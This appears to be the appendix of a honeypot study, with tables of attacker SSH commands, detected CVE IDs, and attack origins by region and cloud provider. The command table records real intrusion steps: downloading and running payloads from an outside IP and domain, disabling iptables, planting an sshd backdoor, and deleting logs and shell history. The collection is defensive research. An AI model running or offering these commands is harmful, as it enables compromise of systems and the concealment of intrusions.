mkdir /tmp/.xs/ yes 2960

/tmp/.xs/daemon.armv4l.mod no 597

cat > /tmp/.xs/daemon.armv4l.mod yes 597

chmod 777 /tmp/.xs/daemon.armv4l.mod yes 597

/tmp/.xs/daemon.i686.mod no 596

cat > /tmp/.xs/daemon.i686.mod yes 596

chmod 777 /tmp/.xs/daemon.i686.mod yes 596

/tmp/.xs/daemon.mips.mod no 595

cat > /tmp/.xs/daemon.mips.mod yes 595

chmod 777 /tmp/.xs/daemon.mips.mod yes 595
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/tmp/.xs/test.mod no 594

cat > /tmp/.xs/test.mod yes 594

chmod 777 /tmp/.xs/test.mod yes 594

/tmp/.xs/daemon.mipsel.mod no 577

cat > /tmp/.xs/daemon.mipsel.mod yes 577

chmod 777 /tmp/.xs/daemon.mipsel.mod yes 577

uname -a yes 472

grep ’[Mm]iner’ yes 396

ls -la /var/run/gcc.pid yes 284

cd /tmp yes 214
ps yes 198

ps -ef yes 198
uname -n -s -r -v yes 88

service iptables stop yes 60

/ip cloud print no 58

ifcon�g yes 58

touch /var/log/messages yes 50

cat -n yes 48

echo Hi yes 48

/tmp/su -oPort=1987 no 27

ln -sf /usr/sbin/sshd /tmp/su no 27

wget http://192.0.27.69/s443ls ; curl -O
http://192.0.27.69/s443ls ; chmod +x s443ls

./s443ls
yes 27

wget http://mdb7.cn:8081/exp yes 27

history -r yes 25

ls yes 25

rm -rf /root/.bash_history yes 25

rm -rf /var/log/lastlog yes 25

rm -rf /var/log/maillog yes 25

rm -rf /var/log/messages yes 25

rm -rf /var/log/secure yes 25

rm -rf /var/log/wtmp yes 25

Table B.4.: Top 50 commands entered during a SSH session, with indicator if command
was valid
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B.2. DATA TABLES

CVE ID Count
CVE-2001-0540 101,022

CAN-2001-0540 9862

CVE-2015-7755 9268

CVE-2012-0152 8994

CVE-2002-0013 CVE-2002-0012 6907

CVE-2017-5638 2428

CVE-2002-0013 CVE-2002-0012
CVE-1999-0517 1626

CVE-2017-5638 CVE-2017-5638 1173

CVE-2005-4050 951

CVE-2001-0414 520

Table B.5.: CVE IDs detected by T-Pot in the dataset

Region Origin Count Percentage
of total

United States 585,728 20.00 %
China 575,721 19.71 %

EU Russia 327,228 11.20 %
Netherlands 146,871 5.03 %
Seychelles 138,131 4.73 %
Total 2,921,225 60.72 %

United States 964,769 30.62 %
China 486,955 15.46 %

India Russia 343,195 10.89 %
France 148,310 4.71 %

Seychelles 117,450 3.73 %
Total 3,150,499 65.41 %

China 3,750,681 30.27 %
United States 2,392,704 19.31 %

US Russia 1,271,264 10.26 %
Netherlands 1,060,017 8.56 %
Canada 406,407 3.28 %
Total 12,389,798 71.68 %

Table B.6.: Comparison of attacker origins by region
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Region Origin Count Percentage
of total

China 1,875,604 35.44 %
Netherlands 835,123 15.78 %

GCP United States 754,546 14.26 %
Russia 638,445 12.06 %

Seychelles 151,488 2.86 %
Total 5,292,372 80.04 %

United States 1,102,966 26.74 %
China 1,051,458 25.50 %

AWS Russia 408,508 9.91 %
Vietnam 205,479 4.98 %

Netherlands 145,836 3.54 %
Total 4,124,037 70.66 %

China 823,619 27.70 %
United States 535,192 18.00 %

Azure Canada 329,400 11.08 %
Russia 224,311 7.54 %

Seychelles 123,118 4.14 %
Total 2,973,389 68.46 %

Table B.7.: Comparison of attacker origins by cloud provider
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